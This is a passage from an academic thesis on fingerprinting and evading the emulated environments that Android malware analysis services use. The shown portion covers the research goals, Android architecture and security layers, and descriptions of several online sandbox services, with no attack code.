Society’s pervasive use of mobile technologies has provided an incentive for the amount and kinds of mobile malware to steadily increase since 2004. Challenges in static analysis of mobile malware have stimulated the need for emulated, dynamic analysis techniques. Unfortunately, emulating mobile devices is nontrivial because of the different types of hardware features onboard (e.g., sensors) and the manner in which users interact with their devices as compared to traditional computing platforms. To test this, our research focuses on the enumeration and comparison of static attributes and event values from sensors and dynamic resources on Android runtime environments, both from physical devices and online analysis services. Utilizing our results from enumeration, we develop two different Android applications that are successful in detecting and evading the emulated environments utilized by those mobile analysis services during execution. When run on physical devices, the same applications successfully perform a pseudo-malware action and send device identifying information to our server for logging.

ABSTRACT

Society’s pervasive use of mobile technologies has provided an incentive for the amount and kinds of mobile malware to steadily increase since 2004. Challenges in static analysis of mobile malware have stimulated the need for emulated, dynamic analysis techniques. Unfortunately, emulating mobile devices is nontrivial because of the different types of hardware features onboard (e.g., sensors) and the manner in which users interact with their devices as compared to traditional computing platforms. To test this, our research focuses on the enumeration and comparison of static attributes and event values from sensors and dynamic resources on Android runtime environments, both from physical devices and online analysis services. Utilizing our results from enumeration, we develop two different Android applications that are successful in detecting and evading the emulated environments utilized by those mobile analysis services during execution. When ran on physical devices, the same applications successfully perform a pseudo-malware action and send device identifying information to our server for logging.

ACKNOWLEDGMENTS

We would like to express our sincere gratitude to our advisors, Dr. George Dinolt and Dr. John McEachen. We appreciate their guidance and support of our research, and—most of all—their belief in us. As we continue our studies, we will look back and feel inspired by the opportunity they gave us.

We also would like to offer a special thanks to our wives for their support, patience, and unconditional love throughout this journey. Without their dedication throughout this process, we would not have met our goals and deadlines. Without their patience, we could not have remained committed. Without their unconditional love, we would not have made it to graduation day.

Finally, we want to thank our children for their unconditional love. They accepted that Dad had to stay out late, sometimes missing special events, even though they did not always understand why. Everything we do, and have done is for the love of our families and our hopes for their future.
I. INTRODUCTION

It is no surprise that with the reliance society has placed on mobile computing devices, there also has been a corresponding increase in efforts to poke, prod, and pry for vulnerabilities and ways to exploit these systems. Although many might claim certain biases by security software and research companies, it is hard to argue with the explosive, upward trend in mobile malware indicated by reports released from industry experts like McAfee [1], Symantec [2], and Sophos [3]. Just as the World Wide Web opened up new vectors for Eve to snoop on Alice and Bob, the rapid adoption and evolution of connected devices like smart phones, tablets, and wearable technology have given Mallory new attack surfaces to infect unsuspecting victims. Ranging from unwanted charges being made unknowingly on a user’s phone, to locational data being stolen, to cameras and audio recorders being misused—mobile malware has the ability to compromise data and services that malware on traditional computing platforms typically lack.

Given the extent of personal information on these devices, the surprise associated with the mobile malware landscape comes from the trust users place on the platforms themselves and the software they install. This is especially troubling on devices running Android, the most dominate mobile platform across the market [4]. Android utilizes a defense-in-depth strategy for dealing with malware that we will explore in detail; however, it leans heavily on a permissions-acceptance policy, which several studies have shown to be woefully inadequate at protecting users [5, 6]. What is worse, the misplaced trust users have on mobile platforms typically translates into little, if any, reliance on third-party mobile malware detection and prevention tools.

Regardless, it can be argued that third-party mobile malware detection tools are not doing an efficient job [7]. Mobile malware authors are becoming more proficient in the traditional ways of evading detection and are developing new ways of defeating the security roadblocks they encounter as well. Part of their success in doing so comes from the inherent characteristics of mobile devices themselves. Challenges in static analysis of malware have stimulated the need for emulated, dynamic analysis techniques. Unfortunately, emulating mobile devices is nontrivial because of the different types of
hardware features onboard (e.g., sensors) and the manner in which users interact with their devices as compared to traditional computing platforms.

A. MOTIVATION AND GOALS

Modern mobile devices now come outfitted with a variety of hardware and sensors that users can tap into for sending and receiving input, query current status levels of, and monitor for state changes. Mobile applications are becoming so dependent on these additional sensors and hardware features that we have come to expect their availability—so much so it has created new paradigms in programming (e.g., context-aware programming) [8].

Unfortunately, context-aware programming and the application programming interfaces (APIs) that enable such functionality also allow for malicious, context-aware attacks on mobile devices. Most can envision how a proximity or location-based attack from a malicious application would be triggered; however, it is just as feasible that the trigger could come from an audio cue, the snapping of a photo, or a change in acceleration indicating the device’s owner is traveling by vehicle vice walking. Equally possible is sensor functionality being utilized for evasion of malware analysis. Our work highlights the challenges faced in conducting dynamic malware analysis—commonly referred to as runtime or sandboxed analysis—by exploring how sensor and other resource-based state changes can be leveraged to evade dynamic analysis tools and services through detection.

Our research efforts were specifically designed with the following questions in mind:

1. Can dynamic analysis tools and services be enumerated (i.e., fingerprinted) through sensors and dynamic resources they simulate, how they simulate them, and which ones they are unable to simulate?

2. In what ways can malicious behavior on mobile devices be triggered by sequences of sensor-based or resource-based state changes?

3. Can these types of triggering techniques be used to defeat common dynamic analysis tools and services for detecting malware?
4. Can dynamic analysis tools and services be modified or extended to better emulate or detect malicious behavior obfuscated by these types of triggering techniques?

B. DEPARTMENT OF DEFENSE APPLICABILITY

In general, our military is not likely to adopt a bring-your-own-device (BYOD) policy, which many private sector companies are implementing—at least not when it comes to connecting those devices to military enterprise networks. That does not preclude smart devices from being used in operational or tactical environments; indeed, many soldiers, sailors, airmen, and marines are being issued these devices and are making great use of them.

Starting in 2010, the Defense Advanced Research Projects Agency (DARPA) began a program called Transformative Apps in order to establish a marketplace or app store from which Department of Defense (DOD) members would have access to approved mobile applications designed for military missions and tailored for military networks [9]. These types of DOD app stores are likely to be enticing targets for our adversaries and other malicious black hat actors in the cyber domain. Exploiting mobile applications used by DOD members could lead to personally identifiable information (PII) leaks, pattern-of-life development, OPSEC leaks, and even disruption of tactical missions. That threat should highlight the importance of placing proper security policies and tools in place to ensure software published on these ecosystems has been vetted for potential vulnerabilities and malicious behavior.

Accordingly, DARPA also started a program titled Automated Program Analysis for Cybersecurity (APAC) to address challenges in mobile application validation [10]. Additionally, the National Institute of Standards and Technology (NIST) recently drafted a Special Publication regarding vetting of third-party mobile apps, which they’ve released for review and comments [11]. Our hope is that this research contributes to efforts such as those mentioned above and helps underscore the challenges and the need for better tools in conducting malware analysis on mobile applications.
C. SCOPE OF RESEARCH

Our research focuses on the development and testing of multiple Android proof-of-concept applications, as well as an analysis of current techniques, tactics, and procedures related to Android malware behaviors, obfuscation, and detection. Although this work is applicable to other mobile platforms, our focus will remain on Android rather than being all-inclusive of others such as iOS, Blackberry 10, and Windows Phone.

The proof-of-concept applications are to be tested against multiple physical devices, as well as multiple mobile malware analysis services, which we became familiar with during an initial literature review. We will not attempt to exploit any known (or unknown) vulnerabilities within the Android platform during our testing, nor within the analysis services that we test against.

D. STRUCTURE OF THESIS

A general overview regarding the Android platform is provided in Chapter II, including basic architecture, primary application components, security practices and policies. Chapter III provides readers with a familiarity of the nine mobile malware services that we will be submitting our proof-of-concept applications to for analysis, enumeration, and finally detection and evasion testing of emulated environments. Chapter IV provides details of the 15 different Android applications we developed for performing enumerations tasks against those services discussed in Chapter III. Chapter V introduces two additional applications that incorporate findings from Chapter IV in order to detect and evade the emulated environments utilized by the mobile malware services for conducting analysis. Finally, Chapter VI provides a summary, a brief discussion of related work, and suggestions for future work.
II. ANDROID OVERVIEW

This chapter presents general background information on the Android platform. We describe the overall architecture, the components used for creating applications, and some of the general security aspects of the platform, APIs, and ecosystem.

A. ARCHITECTURE OVERVIEW

The Android platform can be thought of as a software stack, where each layer has a specific purpose and well-defined services it provides to the layers above it, as seen in Figure 1. At the bottom is a slightly modified version of the Linux kernel [12]. Above the kernel sits the native libraries and the Android runtime environment, composed of core libraries and the Dalvik Virtual Machine (or more recently the Dalvik successor named ART) [12]. The Application Framework layer resides above the runtime environment and allows for Android to interact with the native libraries and kernel [12]. The top-most layer is comprised of the actual applications which come preinstalled or which users install on their own [12]. Each of these layers is described in more detail within the following sections.
Figure 1. The Android software stack, from [12].
1. **Linux Kernel and Linux Framework**

At the bottom of the Android stack resides a modified Linux kernel. Because this version of the kernel was implemented to run on embedded systems, it differs from typical Linux distribution kernels in several ways [13]. Additionally, the underlying Linux framework consisting of typical file system hierarchy, common commands, and programs differs greatly in Android as compared with popular Linux distributions. For example, there is no X-Windowing system. Nor are there all the GNU-Linux utilities found in common Linux environments typically found in the `/bin` and `/sbin` directories (e.g., `awk`, `nslookup`, `pwd`, `pgrep`, etc.).

Utilizing the Linux kernel at the lowest level of the software stack provides the Android platform with a strong base for important functions like hardware abstraction, device drivers, memory management, and process management. Additionally, it provides a foundational security model utilizing discretionary access control (DAC) and mandatory access control (MAC) for newer Android versions supporting SELinux, along with process isolation and a secure inter process communication (IPC) [14].

2. **The Android Runtime and Libraries**

Above the kernel, Android is a layer comprised of several C and C++ libraries, as well as the Android runtime [12]. The set of C and C++ libraries are commonly referred to as *native libraries* since the code is written at a lower level and optimized for the hardware, as compared to Android applications and the Android framework, which are written in Java. Several of the libraries are described in Table 1. Android applications can directly make use of these libraries or even run compiled native code through use of the Java Native Interface (JNI), however most do not and are solely written in Java [15].
The Android runtime is composed of two different components, namely the Dalvik Virtual Machine (or more recently its successor ART) and the core Java libraries [12]. Android applications (with exception to those using JNI) are written in Java, which is then compiled into Java class files. These class files are then recompiled into DEX format and executed in the Dalvik VM, thus differing slightly from typical Java applications whose class files are executed in a Java Virtual Machine (JVM). The core Java libraries are a subset of what one would expect to find in the Java 2 Platform, Standard Edition (J2SE), as evidenced by comparing Java libraries listed in the Java Standard Edition API Specification\(^1\) with those listed in the Android Developer APIs Reference.\(^2\)

### 3. Application Framework

Commonly referred to as the Android APIs, the Application Framework layer provides the essential set of Java classes used by developers in creating fully functional, rich mobile applications. Primarily, this is done through multiple Application Manager services such as the Activity Manager (responsible for Activity life cycles), Resource Manager (responsible for access to resources such as strings and layout files), Location

---

\(^1\) Java API online reference can be found at: http://docs.oracle.com/javase/8/docs/api/index.html

\(^2\) Android API online reference can be found at: http://developer.android.com/reference/packages.html
Manager (allows support for location updates via GPS, cellular, or Wi-Fi), and the Notification Manager (responsible for event-driven notifications to listening applications and services) [12].

4. Applications

The Application layer is the top-most layer in the software stack. It is the layer users typically interact with on their devices. It includes the default, pre-installed Android applications as well as those users install through app stores or manually using the Android Debug Bridge utility named *adb*. Android applications themselves reside on the phone as *Android Application Package* (APK) files. APK files are essentially just zipped archive files based on Java’s JAR file format. The majority of Android malware resides at this layer, and is a result of users installing infected applications.

B. APPLICATION COMPONENT OVERVIEW

In order to understand the difference between the attack surfaces on traditional software applications and Android applications, one needs to understand the basic components that comprise an Android app. Activities, Services, Broadcast Receivers, and Content Providers all offer unique functionality that malware developers have learned to repurpose for malicious means. This section provides a basic overview for each of these components. Additional details regarding these components can be found on the Android Developers website.³ An application component design for a fictitious application called *Yet Another Micro Blogging App* or *YAMBA* is shown Figure 2.

---

³ Android component details can be found at: http://developer.android.com/guide/components/fundamentals.html#Components
1. Activities

In Android applications, an Activity\(^4\) can be thought of as a container for the user interface of a single page or screen of the app. Activities typically are tied to layouts and house the buttons, widgets, content, and images seen by a user during the Activity’s life cycle. An Activity can exist in multiple states throughout its life cycle and can make use of different callback methods to perform tasks while transitioning between states. This life cycle is depicted in Figure 3.

\(^4\) Additional Activity component details can be found at: http://developer.android.com/guide/components/activities.html
App process killed

Apps with higher priority need memory

User returns to the activity

Figure 3. A simplified Activity life cycle showing various Activity states, transitions, and callback methods, from [18].

Applications usually contain more than one Activity, each declared in the AndroidManifest.xml configuration file with one defined as the Main or Launcher activity. The main Activity serves as the primary entry point into an
application; however, other Activities can be used as initial entry points too—even directly by other applications. For instance, an email application may have its main Activity launch a screen showing the inbox. From that screen a user can then navigate to a new Activity for composing an email (via a link or button click). A separate photo application could also navigate directly to the same compose Activity when attempting to share a photo through email (i.e., skipping the inbox Activity). This navigation or communication between Activities is primarily done through use of Intent objects, which we will discuss further on.

2. Services

An Android application Service\(^5\) is a component that does not have a user interface element, but instead is utilized for performing long-running or task-driven operations in the background [19]. An example of this is a music playing application that defines a Service to continue playing music even when application context is switched or given over to something different such as using a browser for navigating a website [19]. Another example could be using a Service to perform a network data transaction in the background without interrupting the user experience of the application [19]. Similar to Activities, Services can be activated through Intent objects and if proper security guards aren’t in place with regard to permissions and exporting of services, then the attack surface for malicious applications to compromise vulnerable Services grows. Additionally, Services also have a life cycle with transitions and callback methods between Service states, similar to Activities, and shown in Figure 4.

\(^5\) Additional Service component details can be found at: http://developer.android.com/guide/components/services.html
3. **Broadcast Receivers**

Broadcast Receivers\(^6\) are components that help implement the event-driven programming paradigms on Android. An application’s Broadcast Receiver takes a defined action after it has received a specific Intent object (i.e., an event) broadcast by the system (such as the device completing its boot sequence) or by a user-defined broadcast.

---

\(^6\) Additional Broadcast Receiver component details can be found at: [http://developer.android.com/reference/android/content/BroadcastReceiver.html](http://developer.android.com/reference/android/content/BroadcastReceiver.html)
The majority of system broadcasts require the Android application to declare specific Android permissions within its manifest file. There are a handful of Broadcast Receivers that do not require permissions to be declared however, making it even harder to detect techniques used to defeat dynamic malware analysis tools. Additionally, malicious Broadcast Receivers can specify priority ordering and intercept broadcasts that were meant for other applications if not properly guarded. For instance, a malicious application might intercept incoming SMS messages, capture sensitive data, and then abort the broadcast so that a user’s default SMS application does not receive the new messages.

4. **Content Providers**

Android Content Providers\(^7\) allow for a structured interface to the data that an application has created and stored in text files, SQLite databases, or any variety of other persistent storage solutions. Utilizing this interface, other apps can query and potentially modify an application’s data based on the behaviors and permissions defined by the provider. A common example of this is the default Contacts application. By providing a structured interface to the contact data stored by this app, other applications (e.g., an email app) can easily query names and addresses for use. Just as with other components, failure to guard Content Providers with proper permissions and query sanitization can result in malicious actions such as unauthorized queries of sensitive information, database injection attacks, and system path traversals that expose other files not meant to be accessed.

5. **Intents**

We include Intent\(^8\) objects in this section to briefly mention their role as the primary means for activating and passing data between all application components, with the exception of Content Providers. The Android Developers website specifies:

> An Intent is a messaging object you can use to request an action from another [application] component. Although intents facilitate communication between components in several ways, there are three

\(^7\) Additional Content Provider component details can be found at: http://developer.android.com/guide/topics/providers/content-providers.html

\(^8\) Additional Intent details can be found at: http://developer.android.com/guide/components/intents-filters.html
fundamental use-cases: (1) to start an Activity, (2) to start a Service, and (3) to deliver a Broadcast. [20]

C. ANDROID SECURITY: DEFENSE IN DEPTH

Android security is built upon multiple layers of defense, as shown in Figure 5. This layered concept can be discussed as three primary areas—the security policies and implementations that support a robust operating system and software stack, Android application security, and those security features that support the Android ecosystem and user experience. We provide a brief overview of all three in this section.

![Multiple Layers of Defense](image)

Figure 5. Android security as shown in multiple layers of defense, from [21].

1. The Linux Kernel and Lower Level System Security Features

The Linux kernel is at the foundation of the Android platform. Most recent implementations of Android run kernel 3.4 or higher. There are several security features of the Linux kernel that Android uses or builds upon. The primary ones are: a user-based permissions model, process isolation, and an extensible mechanism for secure IPC. Additionally, as of version 5.0, Android also uses Security-Enhanced Linux (SELinux) to further security foundations through enforcement of mandatory access control (MAC)
policies, confinement of system services, and restrictions on access to application data and logs across the platform [22]. Previous versions of Android (specifically versions 4.2 through 4.4) partially implemented SELinux permissive mode. All of this is done to help ensure Android applications are running with minimum privilege levels needed from an operating system standpoint.

a. Application Sandboxing

To ensure applications and services are isolated from each other and unneeded resources, the platform breaks away from many traditional operating system approaches and assigns a unique user ID (UID) to each Android application during installation. Each application is then run with its unique UID in a separate process from other applications that may also be running at that time [23]. An exception to this paradigm is made for developers who sign multiple applications with the same certificate and where each application has the same value declared in the AndroidManifest.xml file, specifically for the android:sharedUserId attribute [23]. In this exception, applications will run under the same UID and can have access to shared data resources.

Because this is implemented at the kernel level, the sandboxing that takes place on the platform extends to the entire software stack shown in Figure 1. By default, applications are not allowed to read other applications’ data or access resources of the system itself (unless given proper group privileges) [23]. Additionally, as discussed earlier each application executes in its own runtime virtual machine so other processes cannot access the application runtime environment [23].

b. System Partitioning as Read-Only

Various portions of the Android system are partitioned and mounted as read-only during system boot. This ensures areas on the system that contain sensitive functionality such as the kernel itself, system libraries, application runtime environments, and the application framework cannot be modified by malicious code. In order to circumvent this,

---

9 For a description of different SELinux modes, see http://selinuxproject.org/page/Guide/Mode

10 android:sharedUserId and other manifest attributes are described at: http://developer.android.com/guide/topics/manifest/manifest-element.html
a device would need to have its bootloader sequence unlocked (as is typically done with installing Android custom ROMs or when rooting a device); however, this usually requires erasing the contents of any user data already present on the device.

c. **Memory Management**

Beginning with version 1.5, Android implemented specific memory management features to help harden the platform and make it tougher for malicious code to exploit the system [24]. These ranged from features to prevent stack buffer and integer overflows, to avoiding heap corruption, privilege escalation, position independent executable support, and address space layout randomization (ASLR) [24].

2. **Android Application Security and Permissions**

As described and detailed on the Android Developer website,\(^\text{11}\) applications are sandboxed from one another and are given access to only a narrow array of system resources. These accesses and the restriction of access to certain resources are implemented through multiple mechanisms. One of the mechanisms provided by the Android APIs is intentional lack of API support for certain sensitive functionality, such as directly manipulating the SIM card. There are restrictions on access to sensitive resources and the APIs that make use of those resources. The resources are protected through a security mechanism known as Android application permissions [25].

For instance, access to the device’s camera is protected using this permission mechanism. The same goes for location data (e.g., GPS), wireless network connections, SMS sending and reading, making phone calls, and enabling Bluetooth functionality. To use the protected APIs for accessing these sensitive resources or hardware features, an application must define and request the permissions it requires in its AndroidManifest.xml file, which is a control and configuration file required by all Android applications [26]. When installing an application through conventional means (i.e., through an app store), the Android system will display a dialog to users indicating

---

\(^{11}\) Additional application sandbox details can be found at: http://source.android.com/devices/tech/security/index.html#the-application-sandbox
which permissions (or a condensed summary of permissions) the application requires based on what is identified in the manifest file. An example of this dialog is shown in Figure 6.

System default permissions, which applications can request within their manifest file, are provided on the Android Developer website [27]. Application developers can also create and declare their own permissions for other applications to use. For instance, in order to allow one application to make requests to another application’s Content Provider but prevent any other applications from doing so, a developer might define a user-specific permission within the manifest file, similar to the following:

```
<permission android:name="com.example.cntprovider.permission.DATA_QUERY"
android:protectionLevel="signature" />
```
Several of the methods discussed later that we use to fingerprint various malware tools and services require specific permissions to be declared. Surprisingly though, there are plenty of hardware features and system resources that applications make use of which do not require any permissions to access. For instance, some information regarding the battery state can be directly queried using the android.os.BatteryManager class and its corresponding methods [28]. Additional Android application security best practices for developers are provided on the Android Developer website.\textsuperscript{12}

3. Android Ecosystem and User Experience Security

As part of protecting the Android ecosystem and fostering security innovation, Google and its partners have committed to enabling security solutions on top of the platform itself. For the most part, these security features are implemented without the typical user actually understanding that the feature is there, except perhaps when it is taking action to protect him or her. There are additional features such as full device encryption, lock screens, permission warnings, etc., which users are probably more familiar with.

At the outmost security layer in Figure 5 is the Google Play Store, which acts as a security service in several ways. First, Google requires all developers publishing in the Play Store to have a Google account and maintain good standing across all Google services [21]. If a malicious developer is detected doing something against Google’s terms of service, specifically spreading potentially harmful applications (PHA), Google will likely flag the account and potentially all personally identifiable information associated with that account (credit card numbers, physical addresses, IP addresses, etc.) in order to ensure that individual developer does not simply go out and get a new Gmail address to continue publishing.

Second, applications submitted to the Play Store are reviewed for harmful behavior [21]. This is done through a combination of static and dynamic analysis. The dynamic analysis is performed by a service known as Google Bouncer (discussed further

\begin{footnote}
\textsuperscript{12} Android recommendations for best practices on security and privacy can be found at: https://developer.android.com/training/best-security.html
\end{footnote}
in the following chapter), which attempts to determine whether an application submitted for publishing exhibits any malicious behavior during runtime [29]. Additionally, the Play Store can perform post-installation actions as well. If an application is later flagged as being malicious, the Play Store will proactively uninstall that application from user devices that had previously downloaded it [21].

Applications not installed through the Google Play Store (i.e., through side-loading using the Android Debug Bridge or via third-party app stores) are still subject to security measures within the Android ecosystem. To start, users must specifically enable the capability within their security settings on their device to install applications from Unknown Sources. More importantly, Google makes use of a tool known as Verify Apps and an extensive knowledge base to determine whether an app installed from an unknown source is malicious or not [30]. Verify Apps continuously checks applications and, similar to Play Store, will remove applications it determines are malicious post-install [30].

As mentioned, Verify Apps (and the Play Store) rely heavily on third-party reports and generated reviews of applications. Many of these third-party reports are funneled into Google’s recently purchased malware scanning repository site, VirusTotal.13 If a malicious application is able to avoid detection by these third-party tools, it is more likely that the application will not be flagged by Verify Apps, or (even more concerning) could be published by the Play Store.

In the remainder of this thesis we explore various third-party sandboxing and scanning tools, specifically ones that perform runtime dynamic analysis of Android applications. After understanding how these tools perform analysis and generate reports, we discuss potential vulnerabilities in the tools. We then present multiple example applications we have created and submitted in order to highlight these vulnerabilities.

---

13 Additional information regarding VirusTotal can be found at: https://www.virustotal.com/
As the number of Android devices increased in availability and popularity, so too did the number of new applications being published in the Google Play Store. In December 2014, it was estimated over 23,000 new applications were introduced into the Google Play Store [31]. The large number of new submissions each month requires a scalable solution to analyze applications for malicious or benign behavior. Google recognized this early on and publicly announced the use of *Google Bouncer*, an automated service capable of scanning existing and newly submitted applications in February 2012 [29]. Prior to *Google Bouncer* however, there were efforts both in commercial and academic realms to create similar sandboxing services. *AASandbox* was likely one of the first to do so [32], and Neuner et al. recently presented an excellent comparison of several of those tools and services [7].

As discussed in Chapter I, our motivation for this research was to better understand how Android malware might detect or evade various analysis environments based on their inabilities to emulate device sensors and other dynamic resources during runtime analysis. This chapter gives a brief introduction to the various Android malware analysis services we investigated. We chose these services based on related work findings during our initial research. All of the analysis services we investigated provided some combination of static and dynamic analysis techniques. Additionally, the services all provide some sort of downloadable or web-accessible report based on their analysis of an Android APK submission. These reports highlight various static or dynamic analysis findings. Some services provide additional details such as network packet captures of traffic generated by the submitted APKs, or verbose android log files based on the Android *logcat* tool. Each service provides search functionality across their reports, typically by MD5 hash signature. We provide MD5 hash signatures in Appendix A for all applications developed and detailed throughout Chapter’s IV and V. Subsequent chapters

---

Additional details regarding *logcat* can be found at:
will go into additional depth on what sensors and other dynamic resources these services were able to emulate, emulated poorly, or completely lacked based on our enumeration techniques.

A. STATIC ANALYSIS OVERVIEW

Static analysis techniques performed by the services we investigated typically involved unpacking the submitted APK file and parsing information from its AndroidManifest.xml file. Information provided from this action typically included Android permissions specified for the application and which application components were declared. For some services, this listing of application components was used to guide later dynamic analysis efforts in stimulating specific behaviors.

As part of the static analysis, most services also attempted to convert DEX files back to the Java .class files from which they were derived. Open source tools such as dex2jar\(^\text{15}\) were likely used for this process. This program can turn an APK file directly into a .jar file, which can then be processed by existing Java de-compilation tools.

The majority of the services we investigated also performed some hash-based signature comparisons against known malware in repositories such as VirusTotal.

B. DYNAMIC ANALYSIS OVERVIEW

In the services we investigated, dynamic analysis was performed in a variety of environments and at differing inspection levels. The inspection levels included analysis done fully outside the Android OS (i.e., at the hypervisor level), strictly within the Dalvik virtual machine running the application, or some blend of both. Most service frameworks were likely setup on QEMU hypervisors based on our findings of various services utilizing default Android SDK Android Virtual Devices (AVD) as foundations for their runtime environments.\(^\text{16}\) At least one service indicated physical devices were sometimes used in a distributed analysis approach.

\(^{15}\) Information regarding dex2jar can be found at: https://code.google.com/p/dex2jar/

\(^{16}\) A discussion regarding Android AVDs and QEMU usage with newer 64-bit architecture can be found at: https://www.linaro.org/blog/core-dump/running-64bit-android-l-qemu/
Data taint propagation (commonly referred to as taint tracking) was used across several services to detect potential sensitive data leakage of items such as phone contacts and unique device numbers. *TaintDroid*\(^{17}\) is a popular tool for this and was identified as being used in several of the services we investigated.

Event stimulation—such as changing the emulator’s GPS location, performing touchscreen presses, or modifying battery levels—was also used as a dynamic analysis technique in several services. Tools such as *monkey*\(^{18}\) and *MonkeyRunner*\(^{19}\) which come as part of the Android SDK, were identified in some services as the primary way in which event stimulation was achieved. Other dynamic analysis techniques included method tracing, code coverage comparison, monitoring of system level calls, phone call and SMS event monitoring, network traffic captures, and file access logging.

Tables 2 and 3 provide quick overviews of common static and dynamic techniques encountered. The remainder of this chapter briefly describes each individual service we utilized for our research.

C. ANDRUBIS

ANDRUBIS was originally built as an extension to ANUBIS,\textsuperscript{21} a dynamic Windows malware analysis sandbox, and has been available as an online service since June 2012, having scanned over one million unique Android applications \cite{15}. As with most of the analysis tools and services we investigated, ANDRUBIS uses a QEMU-based

\textsuperscript{20} As part of our methodology, we obtained various static heuristics about each runtime environment. For instance, API levels for each service were gained by querying the Build.Version class object. Some services were observed utilizing multiple environments as indicated by multiple API levels.

\textsuperscript{21} Information regarding ANUBIS is found at: https://anubis.iseclab.org/
emulation environment and performs a hybrid analysis by conducting both static and dynamic techniques to each application submitted.

Static analysis mainly consists of unpacking an APK archive file and extracting metadata from the application’s manifest file to inspect items such as permissions used, application components declared, and package names used [15]. Java bytecode is also examined during static analysis in an attempt to create a complete listing of Java methods and objects used [15]. Additionally, ANDRUBIS utilizes AndroTotal, a well-known framework for conducting multiple antivirus signature scans against submitted APK files [15].

Dynamic analysis occurs for approximately four minutes in the sandboxed environment and utilizes a combination of techniques ranging from stimulation and taint tracking to method tracing and system-level call analysis [15]. Additionally, post runtime analysis includes inspection of various network protocols such as HTTP, FTP, DNS, SMTP, and IRC [15]. Network packet captures are provided for downloading as part of the generated analysis report.

D. ANDROID SANDBOX

Very limited information was found regarding Android Sandbox during our research. Separate inquiries made to Balich IT, the developers of Android Sandbox based in Turkey, also yielded no response as of yet. Information found on their website indicates both static and dynamic analysis techniques are performed. A cursory glance at reports from several previously submitted APK files confirms this as well. No information was provided on the emulation environment used for conducting runtime analysis.

Details listed on [33] and gained from reviewing submission reports indicate Android Sandbox, like ANDRUBIS, conducts unpacking of APK files for metadata inspection. This includes listing permissions declared, string and URLs used, manifest details, and Java classes utilized. Balich IT also indicates submitted APK files are

22 Information regarding AndroTotal is found at: http://andrototal.org/
23 Information regarding Android Sandbox is found at: http://www.androidsandbox.net/howitswork.html
compared against their own repository of over 200,000 malware signatures in addition to comparing APKs with several other unnamed antivirus scanning services [33]. The reports generated from APK submissions however, do not show or indicate what results are returned from the antivirus scans.

Dynamic analysis performed includes a screenshot of the application at runtime, network packet captures, Dalvik log files, and a listing of which files were accessed. In comparison to ANDRUBIS, Android Sandbox’s file access analysis is very basic and only provides the path of the file; ANDRUBIS details what data is read or written when possible. Android Sandbox is also able to conduct a very basic stimulation technique (referred to as Emu-Script), which allows users to specify keystrokes to be pressed during runtime analysis [33]. This is only allowed once during the submission process.

E. JOE SANDBOX MOBILE

Joe Sandbox Mobile (also known as APK Analyzer) is a commercial product available for online APK submissions that requires a monthly subscription vice being offered as a free service. This is also likely the reason for only limited information being made available on how Joe Sandbox Mobile actually works. Similar to Android Sandbox, our research into understanding Joe Sandbox Mobile was based primarily on reports made available from previously submitted APK files.

J. Miller describes the primary analysis technique of Joe Sandbox Mobile as Hybrid Code Analysis (HCA), which combines static inspection techniques to help drive dynamic analysis [34]. This helps dealing with more complex anti-analysis practices such as Java API reflection, code obfuscation, encryption, and dynamic class loading.

Based on generated analysis reports for submitted APKs, Joe Sandbox Mobile is clearly performing similar static analysis techniques as other services by unpacking APK files for metadata inspection. Joe Sandbox Mobile is more detailed than other services however, in characterizing the behavior of an application as malicious or benign based on this static analysis. For example, a report for a submitted application may have a section

---

24 More information regarding Joe Sandbox Mobile can be found at: http://apk-analyzer.net/
titled Persistence and Installation Behavior. Several source code snippets are provided in this section of reports indicating suspicious application behaviors like installing application shortcuts, launching other applications, killing processes, and installing other APKs [35].

Also based on surveying analysis reports for previously submitted APKs, Joe Sandbox Mobile performs similar dynamic analysis techniques as other services. The reports include a screenshot of the application at runtime, network packet captures, a listing of which files were created, and various stimulated events such as location changes, incoming SMS messages or phone calls, and a device boot sequence completion action [35].

During our initial utilization of Joe Sandbox Mobile, we became effectively blacklisted from using the service on two separate instances. The first blacklisting came after communications with Joe Sandbox Mobile representatives in which they asked how we would be utilizing the service. We subsequently responded that we were trying to better understand how Android malware might evade or detect an analysis environment. This description of our usage apparently goes against Joe Sandbox Mobile Terms and Conditions.25 We were offered a refund and likely blacklisted using email addresses, PayPal account information, and possibly IP address. Our second blacklisting came while using a new set of credentials to sign up for the service. After submitting our SensorList application (detailed in Chapter IV), we subsequently noticed we were unable to submit any new APK files using our Joe Sandbox Mobile authorization code. Further communications with Joe Sandbox Mobile representatives indicated the functionality of our application was attempting to detect information specific to their runtime environment, which again went against their Terms and Conditions. At that point in our research, we made the determination to exclude Joe Sandbox Mobile from any further APK submissions, including those used for the purpose of emulator evasion testing in Chapter V.

25 Joe Sandbox Mobile terms and conditions for use are provided at: http://apk-analyzer.net/resources/termsandconditions.pdf
F. APKSCAN

APKScan\textsuperscript{26} was made public in 2013 and by late 2014 had collected over 30,000 unique Android application samples based on online submissions [36]. Although many features present in APKScan are also found in other services we researched, there is at least one subtle difference in the approach APKScan takes in conducting its analysis. APKScan utilizes a distributed multi-client approach to scan a single application for both static and dynamic behavior. By doing so, the developers hope to achieve different code executions of a single application based on differing client attributes such as geographic location and physical or emulated devices used [36].

By surveying previous submission reports on its website, we can surmise APKScan performs similar static analysis techniques as other services by unpacking APK files for metadata inspection. Application Services are listed; however, full listings of Activities, Broadcast Receivers, and Content Providers are not provided. Additionally, submitted applications’ signatures are provided to VirusTotal for comparison against known malware signatures and the results are provided as part of each submission report.

A survey of submission reports also indicates various dynamic analysis techniques performed. Among these are screenshots of the application at runtime, network packet captures, Dalvik log files, and a listing of which files were accessed (by full path names). Taint tracking (likely utilizing TaintDroid) is performed, as well as phone call and SMS capturing. No form of event stimulation seems to occur during runtime and [36] suggests this is an area of future work for APKScan developers.

G. COPPERDROID

CopperDroid\textsuperscript{27} is a framework built on top of QEMU that performs virtual machine inspection (VMI), thereby allowing for \textit{all} analysis to be performed outside of the emulated Android virtual machine [37]. This technique has allowed CopperDroid smooth compatibility and integration as new versions of Android are released, including

\textsuperscript{26} Additional information regarding APKScan can be found at: http://apkscan.nviso.be/

\textsuperscript{27} Additional details regarding CopperDroid can be found at: http://copperdroid.isg.rhul.ac.uk/copperdroid/about.php
Android 5.0, which moved from the Dalvik virtual machine to ART. Through CopperDroid, K. Tam et al. claim to

demonstrate that all behaviors manifest themselves through the invocation of system calls, and that [they] can faithfully reconstruct Android malware behaviors regardless of whether it is initiated from Java or native code. [37]

In surveying multiple analysis reports from previously submitted APKs, we observed that CopperDroid performed basic APK unpacking for metadata inspection which included listing all APK file contents and all Android application components. Additionally, CopperDroid makes use of AndroTotal for signature comparison against known malware samples.

